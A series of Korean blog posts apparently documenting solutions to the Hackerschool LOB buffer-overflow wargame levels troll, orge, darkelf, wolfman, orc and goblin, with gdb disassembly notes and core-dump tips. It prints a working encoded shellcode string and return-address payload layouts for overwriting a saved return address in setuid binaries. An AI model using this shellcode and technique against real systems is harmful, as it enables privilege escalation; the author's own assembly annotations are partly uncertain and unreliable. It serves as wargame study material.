[시작 이전에 이 문제를 푸는데는 2틀 정도를 사용했습니다. 제대로 정리는 아래에다 해놨으니 위에를 좀 읽어보시되 문제 풀이는 아래를 참고하시면 좋겠습니다]

새롭게 one more! 이라는 주석과 함께
memset (argv[1], 0, strlen(argv[1])); 이 추가됐습니다 

memset 이란? 다시 한번! memset(a,b,c) = a = 채울 메모리의 주소 b =채울 문자 c = 채우려고 하는 문자의 개수입니다! 
argv1에 0을 argv1 개수 만큼 채워버리네요 ? 으으으으으음.....
이번에는 argv[1]에 뭔갈 채워넣어도 0으로 다 대체를 해버리는군요 
\xbf를 어떻게 넣어야 할지 곰곰히 생각을 해봐야겠습니다 

argv[0]을 이용해야하는데 argv[0]은 파일명입니다 . 이 파일명을 이제 바꿔줘야하는데 사용되는 방법이 바로 심볼릭 링크입니다 . 
(아무리 해도 방법을 모르겠어서 지인에게 물어본 후 진행했습니다)

컴퓨팅에서 심볼릭 링크(symbolic link) 또는 기호화된 링크는 절대 경로 또는 상대 경로의 형태로 된 다른 파일이나 디렉터리에 대한 참조를 포함하고 있는 특별한 종류의 파일이다. -출처 위키 

ln - s 명령어로 심볼릭링크 파일을 만들 수 있으나 
단 \x2f가 있으면 만들 수 없으므로 \x2f가 없는 쉘코드를 사용해야합니다!
그래서 저는 48byte 쉘코드를 이용하기로 했습니다 

"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

토나오게 저한텐 어려운 문제입니다 이틀 가까이 해매고있습니다 

심볼릭 링크가 글자가 깨져서 너무나도 해맸습니다 정말 진짜 생각할수록 성질나네요 

그래서 이렇게 AABB라는 값을 넣어줬습니다 . 
그 뒤에 자동 완성 기능을 이용해서 gdb를 실행시키는데 성공했습니다
농담안하고 너무 좋아서 숨을 헐떡였습니다 .

esp값이 strcpy인자로 들어가기 때문에 strcpy에 브레이크 포인트를 줬습니다


혹시나 이렇게 argv[1] [2] 를 불러서 풀 수 있을까 하고 알면서도 시도를 해봤지만 역시 argc must be two! 라는 문구가 뜨면서 짤리네요 


47 =! \xbf 를 만족시키지 못했더니 stack is stiil your friend. 라는 오류문구가 나오는군요 그럼 더 추가시켜보겠습니다.

argv[1]에만 값을 넣으니 정상적으로 실행이 되는군요



제가 넣은 쉘코드가 맞나? 의심되지만 그나마 의심가는거라도 노려서 공격코드를 작성해보겠습니다.


이런식으로 하니 또 오류가 발생하는군요 심볼릭 링크 화납니다 .

계속 시도하였으나 실패하여서 코어덤프 이용하기전에 다시 한번 분석해보기로 하였습니다.


이번엔 이 주소를 노려보겠습니다 .

----------------------------------------------------------------------------------------------------정리해서 다시 시작하겠습니다

bash2를 안한 상태에서 심볼릭 링크한 파일을 gdb로 열었습니다.
쉘코드가 중간에 깨져있는걸 보아하니 심볼릭 링크할때 제대로 되지 않았나 보군요.


ps명령어도 bash 상태인것을 확인해봤습니다.


심볼릭 링크를 지워버린후에 bash2를 해서 새롭게 심볼릭 링크를 만든 후에 gdb로 다시 한번 분석을 해보겠습니다.


쉘코드가 잘 출력되는것을 확인 할 수 있습니다 .


놉의 중간 주소를 생각해서 공격을햇으나 세그맨테이션 에러가 뜨는군요


코어덤프를 생성하기 위해서 ulimit -c unlimited를 해준 이후에
tmp에는 이미 고블린의 core파일이 있기때문에 폴더를 하나 더 만든후에 
그 곳에 troll파일을 복사하고 다시 생성하였습니다
[심볼릭링크 파일이여서 코어덤프가 생성이 안되는줄 알았더니 이미 코어파일이 존재하는 상태이고 그 코어파일은 고블린의 권한을 가지고 있기 때문에 생성이 안되던거였습니다. 그래서 새로운 폴더를 생성하여 코어파일이 생성되도록 하였습니다]


그 후에 다시 심볼릭링크 파일을 만든 후에 아까 공격했던 코드를 그대로 다시 써넣은후 세그먼테이션에러가 떠서 생성된 코어덤프를 확인함으로써 
어디가 문제였나 분석해보겠습니다


0xbfffff60 in ?? 라는 문구가 발생하는군요 0xbfffff60으로 찾아 들어가봅시다


확인해보니 \AA를 실행하다가 멈춰버렸습니다. 
왜 \AA인지 확인을 해보겠습니다


./AA인걸 확인할 수 있습니다


좀 더 자세히보면 이렇게 주소가 이뤄져있는걸 보실 수 있습니다.    


놉의 위치를 찾았습니다

[스택 끝 주소는 메모리의 끝주소기 때문에 사용하면 안됩니다.]


쉘의 주소가 확인이 됩니다 스택 끝 주소는 피하고 그 뒤 값인 80쯤을 넣어주면 놉코드를 타고들어가서 성공할거같습니다 .


성공적으로 트롤의 권한을 휙득했습니다 이틀이나 걸린 무시무시한 녀석이였습니다.

'해커스쿨 lob' 카테고리의 다른 글

LOB skeleton  (0) 2016.05.05
LOB vampire  (0) 2016.05.04
LOB orge  (0) 2016.05.02
LOB darkelf  (0) 2016.05.02
LOB wolfman  (0) 2016.05.02



orge의 소스를 열어봤습니다 저번 소스와 크게 변한거는 마찬가지로 없지만
here is changed!
if(strlen(argv[0]) != 77 ) {
printf("argv[0] erro\n");
exit(0);
}
이 부분이 추가됬군요 gdb로 분석해서 해당부분을 읽어보겠습니다 .


35에서 ebp+12 즉 argv[0]의 값을 eax안에 복사합니다 
38번에서 edx에 eax값을 복사하고 
40번에서 edx를 집어 넣습니다 .
41에서는 strlen함수를 호출합니다 .
46에서는 esp에 4 만큼 넓혀서 argv[1]값으로 이동하네요 
49에서는 eax에 eax값을 복사합니다 
51에서는 eax와 77을 비교합니다 .
54에서 eax가 77과 같으면 main+80으로 이동을 합니다 
그렇지않다면 56이후로 쭉 실행을해서 종료를 시킵니다 .

저번처럼 argv[1]에 쉘코드를 넣어서 클리어하는 방식을 똑같이 사용해도 괜찮을거 같습니다. 
근데 제가 여태까지 이용해오던 방식은 argv[1],[2] 이 두개를 이용하였는데 갑작스럽게 argv[0]이 등장하였네요 
배열을 뒤로 움직이는 방법이라도 존재하는것일까요 

일단 주소부터 구해보도록 하겠습니다 


main+224에 브레이크포인트를 잡아준 후에 argv[1] 과 argv[2]의 주소를 구하기 위하여 실행을 햇으나 argv[0]에서 에러가발생하네요
그렇다면 아까 main + 35~ main+ 76 즉 argv[0]을 검사하는 부분에서 브레이크 포인트를 잡은후에 어떡하면 에러가 나지않을까? 하고 한번 찾아보겠습니다 .



argv[0]에 대해서 알기 위해서 이런식으로 무작위로 대입해봤습니다 .
argv[1].[2] 같은 값이 아니라 argv[0]뒤에 잇는 값이라서 무작위로 뒤로 넣으면 되지 않을까? 싶어서 시도해봤습니다.

하지만 모두들 실패했습니다.
그러다가 문득 


Starting program: \tmp\orge `python~~
앞에잇는 \tmp\oreg 뭔가 수상했습니다 스타팅 프로그램에 저렇게 나와있네? 하고 생각이 들더군요 

그래서 이런식으로 시도를 다시 한번 많이 해봤습니다.
main+66 즉 에러 메시지가 뜨는부분에서 열심히 실행을 해봤습니다. 
처음에는 단순히 파일명이 argv[0]일까 생각을 했습니다만 파일명을 정확히 77로 맞춰서 여러번 시도해봐도 모두 실패했습니다 .
Starting program: \tmp\orge `python~~
\tmp\ << 이 친구들이 존재하고잇었습니다 그래서 argv[0]을 비교하는 값인 77에서 -5(\tmp\)를 빼줘서 72자리의 값 만큼 해줬더니


시도 했더니 argv[0] error 라는 메시지가 안뜨네요!




브레이크 포인트를 308에 잡고 실행을 햇더니 argv[0] error 와 세그멘테이션 폴트가 뜨지않네요 !  
그렇다면 아까와 마찬가지로 주소를 구해봐야겠습니다 .


argv[1]의 값이 나옵니다 


argv[2]의 값이 나옵니다 .
저번과 같이 A(44)+쉘코드가잇는 주소의값 (마지막자리는 \xbf) +b(적절한값+쉘코드)가 되겠습니다 .
다만 문제는 권한이 걸려있는 본래에 orge는 제가 임의로 이름을 변경하지 못합니다 .
그러면 어떻게 argv[0] 즉 본래의 orge의 길이를 77이라고 생각하게 만들 수 있을까요 ? 또 여러가지 시도를 해봐야겠습니다 .


[안보이는건 눌러서 봐주세요] 
argv[0]에러가 역시나 발생하네요 그럼 처음에 써봣던 ////를 혹시나해서 사용해보겠습니다 .


세그먼트 에러가 떠서 쉘코드가 들어잇는 주소를 살짝 바꿧습니다 .
권한이 따이네요 신납니다!!


'해커스쿨 lob' 카테고리의 다른 글

LOB vampire  (0) 2016.05.04
LOB troll  (0) 2016.05.04
LOB darkelf  (0) 2016.05.02
LOB wolfman  (0) 2016.05.02
LOB goblin  (0) 2016.05.01


darkelf의 소스입니다
저번 문제에 비해서 추가된것은 
if(strlen(argv[1]) > 48 ) {
printf ("argument is too long!.\n");
exit(0);
}
이거 밖에 없군요 . 음....argv[1]에 조건이 걸려있는걸 보아하니 
argv[2]를 통해 공격하던식으로 또 공격하면 풀릴거같습니다 
제가 시스템에 관하여 초보이기 때문에 너무 날로먹는 치사한 방법을 사용하는것인가 싶기도 하네요...-_-;;


새로 추가된 친구들입니다 .
ebp+12  = argv[0]에 4만큼 공간을 먹게만들어서 argv[1]로 만드네요
그 후에 edx에 넣고 strlen함수를 호출합니다.
+195에서 eax와 48을 비교합니다 지금 eax에는 argv[1]이 담겨잇겠지요
198에서 작거나 같으면 main+224에 보내는군요 그렇지않으면 프로그램이 종료 되버립니다.

뭔가 너무 날먹는거같지만 아까와 똑같이 진행을 해보겠습니다.


"A"*47과 \xbf의 값이 보입니다


"B"의 값들이 보입니다 .
저번과 마찬가지로 공격코드를 짜보겠습니다.

공격에 성공했습니다. 근데 개인적으로 너무 날로먹는거같아서 추가로 gdb분석을 해볼까합니다 .


새로 생긴 main +174쯤에 브레이크포인트를 걸어주겠습니다


에러가 나네요 브포를 잘못 잡앗나봅니다..

그렇다면 main +176으로 잡아보겠습니다


되네요 하하 한번에 잡을수 있도록 더 연습을 해야겠습니다.


eip로부터 두개의 어셈코드를 뽑아냈습니다. 두번 다음 어셈으로 넘어가도 eax값은 변함없이 0xbffffae8이군요 


0xbffffbec를 가리키고있습니다.

쫄래쫄래 따라가보니 아까 argv[1]에 입력한 값이 나오네요 

제가 지금 알고싶은것은 

if(strlen(argv[1]) > 48 ) {
printf ("argument is too long!.\n");
exit(0);}
여기서 48을 초과하면 어떻게 되느냐 정확히는 저렇게 argv[1][2]의 값을 넣어줫는데 strlen부분에서는 정확히 어떠한식으로 반응할까? 이것을 gdb로 보고싶습니다

바로 프린트까지 이동을 해보겠습니다


48만큼 정상적으로 받아들이네요


이번엔 값을 초과하면 어떻게 보나 알기 위해서 48을 초과한 58을 넣어보겠습니다

58만큼 값이 그대로 나오네요 


0x80485cd 즉 printf문에서 한번 더 출력하니 argument is too long이라는 문구가 출력되는걸 볼 수 있습니다! 
뭔가 gdb랑 더 가까워진 기분이네요 음음 
오늘 연습한 분석방법을 이용해서 다음에 더 유용하게 문제풀이를 할 수 잇었으면 좋겠습니다!

'해커스쿨 lob' 카테고리의 다른 글

LOB troll  (0) 2016.05.04
LOB orge  (0) 2016.05.02
LOB wolfman  (0) 2016.05.02
LOB goblin  (0) 2016.05.01
LOB cobolt  (0) 2016.04.30


orc소스와 비슷하지만 뭔가 업그레이드가 됬네요 여기서 먼저
memset함수를 말씀드리자면
memset(a,b,c) = a = 채울 메모리의 주소 b =채울 문자 c = 채우려고 하는 문자의 개수입니다 

음 버퍼로 공격하는걸 막네요 저번 소스와 비슷하고 전 argv[2]를 이용햇었는데 될지 안될지 저 memset이 정확히 무엇을 막는지 햇갈리기 때문에 방금했던 공격을 다시 한번 이용해보겠습니다 .


아까와 같아서 새로 추가된 memset에 대해서만 가져왔습니다.
이 코드를 보니 뭔가 더 이해가 되는군요  
main 214에서 40을넣어주고
main 216에서 0 을넣어주고
main 218에서 버퍼의 주소를 넣어주는군요 
오오... 뭔가 이렇게 하나만 쫙 보니까 좀 더 분석을 다음에 쉽게 할수 잇을거같은 자신감이 생깁니다 .


시그널 SIGSEGV가 실행되면서 와장창 해버리네요


0xbf424242에서 문제가 있다고 하는거같습니다 .
그렇다면 이번에는 A*47 + \xbf를 해보겠습니다


또 에러가 생기네요 혹시 argv[2]가 문제일까요 ? 뺴놓고 실행해보겠습니다

...자세히보네 /tmp/./wolfman을 실행하는군요 -_- 죄송합니다 제대로 다시 gdb를 열어서 처음에 입력햇던것을 다시 한번 실행시켜보겠습니다


성공적이군요! break point는 main+222를 잡아뒀습니다. 


A*47 B*3 \xbf 가 보이는군요 ret값도 포함되어잇겠습니다 .


argv[2]의 A*100 도 마찬가지로 나오네요 

[*팁을 주셔서 글을 추가로 더 적겠습니다 신기하네요!]

gdb에는 nexti라는 기능이 있습니다 
nexti : 다음 기계 명령어까지 응용프로그램을 수행합니다. 라는데요 
지금 브레이크포인트를 main+222지점 즉 memset부분에서 멈춰뒀는데 
nexti 를 사용하게 되면 memset이 실행된 부분을 볼 수 잇겠네요!


띠용...40버퍼만큼 사라져버렸군요 하지만 저는 argv[2]를 통해서 공격을합니다
고로 제가 푸는 방법과는 무관하다는것을 알게되었습니다.
그럼 공격을 해보겠습니다


성공했습니다! 잠시 쉬었다가 계속 문제를 풀어야겠습니다 오늘은 3~4시정도에 자야겠군요 다음날 학교를 가야해서.. ㅠㅠ

'해커스쿨 lob' 카테고리의 다른 글

LOB orge  (0) 2016.05.02
LOB darkelf  (0) 2016.05.02
LOB goblin  (0) 2016.05.01
LOB cobolt  (0) 2016.04.30
LOB gremlin  (0) 2016.04.30

http://www.hackerschool.org/HS_Boards/data/Lib_system/dummy3.txt

더미 크기를 파악하는 방법에 관하여 자세히 나와있습니다.

저도 lob를 다 푼 후 3번정도 다시 읽어봐야겠습니다 

'시스템' 카테고리의 다른 글

쉘과 쉘코드  (0) 2016.05.22
/bin/sh의 의미  (0) 2016.05.22
코어덤프  (0) 2016.05.01
리눅스 gdb 명령어 (계속 추가)  (0) 2016.02.28
공유메모리  (0) 2016.02.18

[강의용 문서라긴 보다 저도 미흡하기에 제가 직접 해본것을 정리하고 수정해가면서 더 나은 글이 되도록 해보겠습니다 .]

    

lob4번을 계속 풀어보다가 분명히 맞는거 같은데..같은데.. 하면서 코어덤프를 시도하게 되면서 방법을 대충 아주 짧게 정리해서 적겠습니다 
(결국 bash2가 원인이였습니다..)

코어 파일을 생성하기 위해서는 먼저 코어 파일의 사이즈를 설정을 해야합니다

ulimit 명령으로 제한 설정을 해야하는데
제가 사용한 명령어는 ulimit -c unlimited 입니다 .이렇게 설정되면 core파일이 설정됩니다 

gdb로 여는 명령어는 gdb -q [분석하려는 파일명] core 입니다 


이런식으로 어디 부분에서 오류가 낫는지 알 수 있습니다.


41414149 메모리에 접근할 수 없다는 뜻이며 레지스터나 메모리값을 변조해서 생긴 에러입니다

이제 오류가 난 지점에 접근해서 어디 부분에서 문제가 생겼는지 찾아보시면 됩니다.

제가 문제를 풀면서 발견한 에러들을 하나하나 모아두도록 하겠습니다..

'시스템' 카테고리의 다른 글

/bin/sh의 의미  (0) 2016.05.22
dummy 크기 정확히 파악하기 - 출처 http://beist.org  (0) 2016.05.01
리눅스 gdb 명령어 (계속 추가)  (0) 2016.02.28
공유메모리  (0) 2016.02.18
시스템 $0x80  (0) 2016.02.11


버퍼가 40이 할당되어있습니다!
argc<2 일시 에러를 띄우고 종료를 해버리네요 
egghunter에 보면 memset이라는 함수가 있네요

memset 참고 : http://itguru.tistory.com/104

egghunter는 미리 말씀 드리자면 환경변수와 에그쉘을 무효화 시킵니다

argv[1] 즉 첫번째 인자의 48번째 글자?는 /xbf여야합니다 안그러면 문구를 띄우고 종료를 시켜버리네요 

또한 argv[1]을 strcpy를 이용해서 버퍼에 복사한후에 출력해버리네요 
[strcpy 취약점 - 복사할때 크기를 체크하지않는다]

저는 여태까지 환경변수와 에그쉘을 이용하지 않앗기에 평소처럼 풀면되는 문제같네요 일단 gdb로 봐보겠습니다


<main> push %ebp
<main+1> mov %ebp , %esp
스택프레임을 설정하였습니다
<main+3> sub %esp , 44
buf 와 i 의 크기 총 44를 확장해줬습니다
<main+6> cmp DWORD PTR [%ebp+8] , 1
argc 과 1을 비교한다
<main+10> jg 0x8048523 <main+35>
argc가 1보다 클 경우 main+35로 이동한다
<main+12> push 0x8048630
stdin같은 입력스트림을 넣어줍니다
<main+17> call 0x8048410 <printf>
printf 함수를 호출합니다
<main+22> add %esp,4
printf에서 사용한 인자를 정리해줍니다
<main+25> push 0 
0을 넣어줍니다
<main+27> call 0x8048420 <exit>
exit 함수를 호출합니다
<main+32> add  %esp , 4
exit인자를 정리해줍니다
<main+35> nop
필요없음
<main+36> mov DWORD PTR [%ebp-44] , 0x0 
0을 %ebp-44의 주소에 넣는다 
<main+43> nop
필요없음
<main+44> lea %esi , [%esi*1]
%esi에 [%esi*1]의 주소값을 넣어줍니다
<main+48> mov %eax,DWORD PTR [%ebp-44]
eax에 [%ebp-44]의 주소값을 넣어줍니다
<main+51> lea %edx , [%eax*4]
edx에 [%eax*4]의 주소값을 넣어줍니다
<main+58> mov %eax,%ds:0x8049750

<main+63> cmp DWORD PTR [%eax+%edx] ,0
[%ebp-44 + %eax*4] 의 값과 0을 비교합니다
<main+67> jne 0x8048547 <main+71> 
위에서 비교한 값이 같지 않으면 <main+71>로 이동합니다
<main+69> jmp 0x8048587 <main+135>
같으면 <main+135>로 점프합니다



간단히 스택을 표현하자면
buf   sfp   ret   argc   argv

         40     4      4    4      4      
ebp - 40  ebp  ebp+4  ebp+8   ebp++@    
이렇게 되잇는걸 알 수 있습니다 .

main ~ main+3 : 44바이트만큼 주어졌네요 buf[40]의 크기와 i[4]의 크기라고 짐작가능합니다 .
main+6 ~ main+35 : if문 부분이네요 ebp+8[argc]이 2이상이면 main+35로 점프하고 2미만일경우 프로그램을 종료시켜버리네요 

<main+71> mov %eax , DWORD PTR [%ebp-44]
eax에 [%ebp-44]의 주소값을 넣어줍니다
<main+74> lea %edx , [%eax*4]
edx 에 [%eax*4] 주소를 넣어줍니다 
<main+81> mov %eax,%ds:0x8049750
eax에 0x8049750을 넣어준다
<main+86> mov %edx , DWORD PTR[%eax+%edx]
edx에 [%ebp-44] + [%eax*4] 의 주소를 넣어준다
<main+89> push %edx  
edx를 스택에 넣어준다 
<main+90> call 0x80483f0<strlen>
strlen 함수를 호출한다
<main+95> add %esp , 4
4의 공간을 사용한다
<main+98> mov %eax , %eax 
eax에 eax를 집어넣는다
<main+100> push %eax 
eax를 스택에 집어넣는다 
<main+101> push 0
0을 집어넣는다
<main+103> mov %eax, DWORD PTR[%ebp-44]
eax에 [%ebp-44]의 주소를 넣는다 
<main+106> lea %edx,[%eax*4]
edx에 [%eax*4]를 넣는다
<main+113> mov %eax,%ds:0x8049750
eax에 0x8049750을 넣는다
<main+118> mov %edx , DWORD PTR [%eax+%edx]
edx에 %eax+%edx의 주소를 넣어준다
<main+121> push %edx
edx를 스택에 넣어준다
<main+122> call 0x8048430 <memset>
memset 함수를 호출한다
<main+127> add %esp , 12
12만큼 사용합니다
<main+130> inc DWORD PTR [%ebp-44]
[%ebp-44]의 주소값이 1 증가합니다
<main+133> jmp 0x8048530 <main+48>
main+48로 이동합니다
<main+135> mov %eax,DWORD PTR [%ebp+12]
eax에 argv[0] 을 넣어줍니다
<main+138> add %eax , 4 
eax에 4를 더해줍니다 
<main+141> mov %edx,DWORD PTR [%eax]
edx에 argv[1]을 넣어줍니다
<main+143> add %edx,47
argv[1]에서 47을 더해줍니다 
<main+146> cmp BYTE PTR [%edx] , 0xbf
argv[1][47]의 주소를 0xbf와 비교합니다
<main+149> je 0x80485b0 <main+176>
argv[1][47]과 0xbf가 같으면 <main+176>으로 이동합니다
<main+151> push 0x804863c
stdin 함수를 넣어줍니다
<main+156> call 0x8048410 <printf>
printf 함수를 넣어줍니다
<main+161> add %esp , 4 
printf가 사용한 인자를 정리해준다
<main+164> push 0 
0을 넣어준다
<main+166> call 0x8048420 <exit>
exit 함수를 호출합니다
<main+171> add %esp , 4
exit가 사용한 인자를 정리해준다
<main+174> mov %esi , %esi
esi에 esi를 넣어줍니다 
<main+176> mov %eax,DWORD PTR [%ebp+12]
eax에 argv[0]의 주소를 넣어줍니다 
<main+179> add %eax , 4
eax에 4를 넣어줍니다
<main+182> mov %edx , DWORD PTR [%eax]
edx에 argv[1]의 주소를 넣어줍니다
<main+184> push %edx
edx를 스택에 넣어줍니다
<main+185> lea %eax , [%ebp-40]
eax에 [%ebp-40]의 주소값을 넣어줍니다 
<main+188> push %eax 
ebp-40의 주소를 넣습니다
<main+189> call 0x8048440 <strcpy>
strcpy 함수를 호출합니다 
<main+194> add %esp , 8 
strcpy 함수가 사용한 인자를 정리해줍니다 
<main+197> lea %eax , [%ebp-40]
eax에 [%ebp-40]의 주소값을 넣어줍니다 .
<main+200> push %eax
ebp-40을 스택에 넣어줍니다 
<main+201> push 0x8048659
stdin을 넣어줍니다
<main+206> call 0x8048410 <printf>
printf 함수를 호출합니다 
<main+211> add %esp , 8 
printf 함수가 사용한 인자를 정리해줍니다 
------------------------추가했습니다-------------------------------------------------------


main+36부터 for문이 시작됩니다
main+44는 데이터를 복사하는거같습니다(확실치 않습니다 )
48~63까지는 i = 0으로 초기화 하는 작업같습니다 
67에서는 값이 같지 않으면 71로 점프를 합니다 
69에서는 main+135로 이동합니다 

71에서는 eax값에 ebp-44를 복사하였습니다 

74에서는 eax*4만큼을 edx에 복사합니다 (주소값..?)
81에서는 eax에 ds:0x8049750의 값을 넣습니다(데이타 세그먼트가 아닐까요?)
86에서는 eax와edx를 합해서 edx에 넣습니다.
89에서는 edx를 넣습니다 .
90에서는 strlen을 호출하네요 
95에서는 스택을 4바이트만큼 줄입니다 
98에서는 eax값에 eax를 넣습니다 (어떤 의미일까요 ?)
100에서는 eax를 넣습니다
101에서는 0을 넣습니다
103에서는 eax값에 ebp-44를 복사합니다
106에서는 eax*4에 저장되있는 값을 edx에 넣습니다 .
113에서는 ds:0x8049750의 값을 eax에 복사합니다 
118에서는 eax와 edx를 합한값을 edx에 복사합니다 
121에서는 edx를 넣습니다
122에서는 memset을 호출합니다
127에서는 스택을 12만큼 줄입니다 
130에서는 ebp-44를 1만큼 증가시킵니다 
133에서는 main+48로 이동합니다
135에서는 ebp+12를 eax에 복사합니다 
138에서는 eax에서 4만큼 줄입니다
141에서는 eax를 edx에 복사합니다
143에서는 edx에서 47만큼 줄입니다 
146에서는 edx와 0xbf가 값이 같다면
149에서는 main+176으로 이동합니다
151에서는 0x804863c만큼 넣어줍니다
156에서는 printf를 호출합니다
161에서는 esp에서 4만큼 줄입니다
164에서는 0만큼 넣어줍니다
166에서는 exit를 호출합니다
171에서는 esp에서 4만큼 줄입니다
174에서는 esi값을 esi에 복사합니다
176에서는 eax에 ebp+12만큼의 값을 넣습니다
179에서는 eax에서 4만큼을 줄입니다
182에서는 eax의값을 edx에 복사합니다
184에서는 edx의값을 넣습니다
185에서는 eax에 ebp-40에 저장되잇는 값을 넣습니다 
188에서는 eax를 넣습니다
189에서는 strcpy를 호출합니다
194에서는 esp에서 8만큼 줄입니다
197에서는 ebp-40에잇는값을 eax에 넣습니다
200에서는 eax를 넣습니다
201에서는 0x8048659를 넣습니다
206에서는 printf를 호출합니다
211에서는 esp에서 8만큼 줄입니다 

제가 제대로 분석한것인지는 모르겠습니다..
69에서 130과 133을 보시면 environn[i]의 조건문 부분이고 i++의 증감에 대해서 표현되잇다는걸 아실겁니다 

90과 100을 보시면 strlen함수를 실행합니다
101에서는 두번째로 0을 넣습니다
121까지는 0x8049750 [eax+edx]를 이용하여서 environ을 넣는다는건 알겟습니다만 제대로 이해가 가지 않습니다 (gdb로 여러가지를 해봤는데 짧은 지식으로는 실패하였습니다 ㅠㅠ 아시는분은 도와주세요 배우고 싶습니다)

135에서는 ebp+12의 값 즉 argv[0]을 eax에 저장하네요
138에서는 4만큼의 값을 할당한 즉 argv[1]의 값을 만든다고 생각할 수 있습니다 
*햇갈려서 맞지 않을 수 있으니 참고만 해주세요 *
141에서는 argv[0] , [1]의 값을 edx에 넣고
143에서는 edx에 47만큼의 값을 할당하는것을 보아하니argv[1][47]을 예상할수잇군요 
146에서는 0xbf와 값을 비교한 후에
149에서 같을경우 176으로 이동을해서 프로그램을 쭉 진행하지만 틀릴경우 종료시킵니다.

176에서는 ebp+12 즉 argv[0]을 데려오고 
179에서 4만큼 할당해서 argv[1]의 주소를 가리키고있네요 
182에서 argv[1]의 주소를 edx에 저장합니다 
184에서 edx를 넣습니다 (여기서 strcpy(buffer, argv[1]) 부분이 이뤄지는게 아닐까 예상해봅니다 지식이 부족해서 확신을 못하겠습니다.)
185에서 buffer[40]의 주소를 eax에 넣네요 
189에서 strcpy를 호출합니다
194에서 esp에 8만큼을 줄이고
197에 eax 에 ebp-40의 주소를 넣네요
이렇게 대충 분석이 끝난거 같습니다..정말 허접하군요 lob를 끝마치는 날에는 완벽해져있기를 바랍니다 -_-;

공격코드를 테스트 해보려고 gdb로 디버깅을 하던차에 
Program exited with code 01. 이라는 에러가 뜨네요
Program exited with code 01. 은 다른 유저의 setUid가 걸려있어서 디버깅이 안되는 에러입니다  
이상하네요 tmp에 복사해서 한거같은데...


tmp폴더 내에서 ./를 붙여서 실행하지 않으면 본래 루트에 있던 원본이 실행되는거 같군요 신기합니다 처음알았어요 


0xbffffad4 의 세번 째 칸을 보시면 0xbf424242가 출력된것을 보실 수 있습니다.
저 곳이 아마 리턴주소겠구요


이 주소가 argv[2]의 주소라고 생각할 수 있습니다.
그렇다면 a[44]+ret주소값(마지막 자리는 \xbf)+argv[2](쓰레기값들 + 쉘코드)
이렇게 구성될 수 있을거같네요 

와 진짜 욕나오네요 ㅎㅎ bash2를 설정안해서 두시간동안 코어덤프 보면서 꼐에속 해맷습니다 계에솟고소오오오오옥 와 열받내요~~깔깔깔깔깔깔깔

사람 매우 열받게 하는 lob였습니다 .

'해커스쿨 lob' 카테고리의 다른 글

LOB darkelf  (0) 2016.05.02
LOB wolfman  (0) 2016.05.02
LOB cobolt  (0) 2016.04.30
LOB gremlin  (0) 2016.04.30
LOB gate  (0) 2016.04.30

안녕하세요 개인적으로 많이 삽질한 문제였습니다 .. 

goblin의 소스코드입니다 

gets 함수를 쓰고있네요 gets 함수는 엔터를 누를때까지 문자열로 입력을 쭈우욱 받아들여서 
버퍼오버플로우를 만드는 취약점을 가진 함수랍니다 (그래서 fgets를 사용하는것을 권장하죠?)

처음에 생각햇던 페이로드 구성도입니다

A*20(buf+sfp)+4(버퍼 오버 플로우시켜서 리턴주소를 쉘코드의 주소가 담긴부분으로 변경할곳)+B*100(쉘코드를 담기위한부분)+25(쉘코드) 이렇게 생각을 해두었습니다.

<main> push %ebp
<main+1> mov %ebp,%esp
스택 프레임을 설정하였다
<main+3> sub %esp,16
esp에서 16을 뺴줬습니다 [buf를 16만큼 할당]
<main+6> lea %eax , [%ebp-16]
eax에 ebp-16의 주소를 넣어줬습니다 
<main+9> push %eax
스택에 ebp-16의 주소를 넣어줬습니다
<main+10> call 0x804830c <gets>
gets 함수를 호출합니다
<main+15> add %esp,4
gets의 인자값 정리
<main+18> lea %eax, [%ebp-16]
eax에 [%ebp-16]의 주소를 넣어줍니다
<main+21> push %eax
eax를 스택에 넣습니다
<main+22> push 0x8048470
stdin같은 함수겟지요? 넣어줍니다
<main+27> call 0x804833c <printf>
printf 함수를 호출합니다
<main+32> add %esp , 8 
printf의 인자값 정리

gdb로 대강 분석을 해보겠습니다 .
main+3 버퍼의 크기만큼 할당되었군요 
그 후에 main+6 부터 gets함수로 입력을 받은뒤 ebp-16에다가 넣어버리네요 

이번 문제는 삽질을 엄청 많이했습니다...

먼저 브레이크 포인트를 main+15지점에 걸어두었습니다 gets함수가 쓰인 직후죠

그 뒤에 gdb에      "A"*20 +"B"*4 +"C"*100 

`python -c 'print "A"*20 +"B"*4+"C"*100`'  

등등등등...많이 넣어봤습니다 

이렇게 나온 주소값들을 일일히 넣어보고 x/~~x $esp x/~~x$ebp-16 등등  여러가지 명령어를 또 사용해봐서 나온 주소값들을 넣어봐도 
반응이없거나 쉘이들어가기만 하고 제대로 안된다거나 하는 경우들이 계속 발생하였습니다 ..

일단 스택을 대충 생각해보겠습니다 

  buf      sfp     ret    쉘코드를 넣기위한친구들 + 쉘코드 
ebp-16   ebp  ebp+4                 ebp+8 

대충 이러하게 스택의 위치가 잡혀있을거같다는 생각으로 시도를 해봤는데도 열리지않았습니다 ..

또한 공격을 할때 gets 함수는 파이프 함수를 써야 하는것을 잊고 

`python -c 'print "A"*100 +"주소값"+"B"*100+"쉘코드"`' 이러한 식으로 공격을 해서 계속 해맷습니다 -_-;; 

여하튼..gets 함수는 문자열로 쭈욱 인식하는 함수기에 파이프를 이용했습니다 

파이프란 왼쪽 명령어 친구들을 오른쪽으로 보내주는 역할을합니다.


정말 간단하게도 이렇게 값을 넣었습니다 

쉽게 주소 파악을 위해서 A(buf+sfp=20) B(RET) C(그냥막넣음) 이렇게 했습니다 


414141 4242424 434343 . . . .값이 나오는걸 볼 수 있습니다 .
여기서 C를 이용해 쉘코드를 넣어야 하기 때문에 쉘의 일정한 주소값을 (전 적절하게 중간즈음을 택했습니다 .)


(눌러서 봐주세요)

이러한식으로 처음 생각했던 공격코드를 짯더니 드디어 열렸습니다 .
처음에 짠 공격코드를 파이프를 통해서 ./goblin으로 보내버린겁니다 

간단하기도 하지만 하나의 간단하고도 사소한 실수때문에 많은 시간이 소요되버렸네요 -_- 좀 더 공부를 열심히 해야겠습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB darkelf  (0) 2016.05.02
LOB wolfman  (0) 2016.05.02
LOB goblin  (0) 2016.05.01
LOB gremlin  (0) 2016.04.30
LOB gate  (0) 2016.04.30


